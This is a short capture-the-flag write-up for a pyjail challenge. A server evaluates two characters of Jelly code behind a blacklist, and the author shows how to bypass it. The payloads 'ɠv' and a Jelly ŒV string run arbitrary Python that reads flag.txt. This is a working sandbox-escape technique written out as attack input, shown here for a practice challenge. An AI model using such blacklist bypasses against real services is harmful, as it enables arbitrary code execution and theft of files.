how can one golf with jelly if it just explodes when you hit it with a large metal golf club?
nc challs1.pyjail.club 5999
We're given a Python server that looks like this:
#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval
inp = input()[:2]
banned = "0123456789ỌŒƓVС" # good thing i blocked all ways of getting to python eval !!! yep
if not all([c not in inp for c in banned]):
print('stop using banned')
exit()
jelly_eval(inp, [])
The server bans numbers and a few eval atoms, but they seemed to have missed lowercase v
:
Then, we can send
ɠv
as our payload to read a line from STDIN and evaluate it as Jelly, circumventing their blacklist. Without a blacklist, we can send
“print(open('flag.txt').read())”ŒV
to evaluate
print(open('flag.txt').read())
as Python code and get the flag.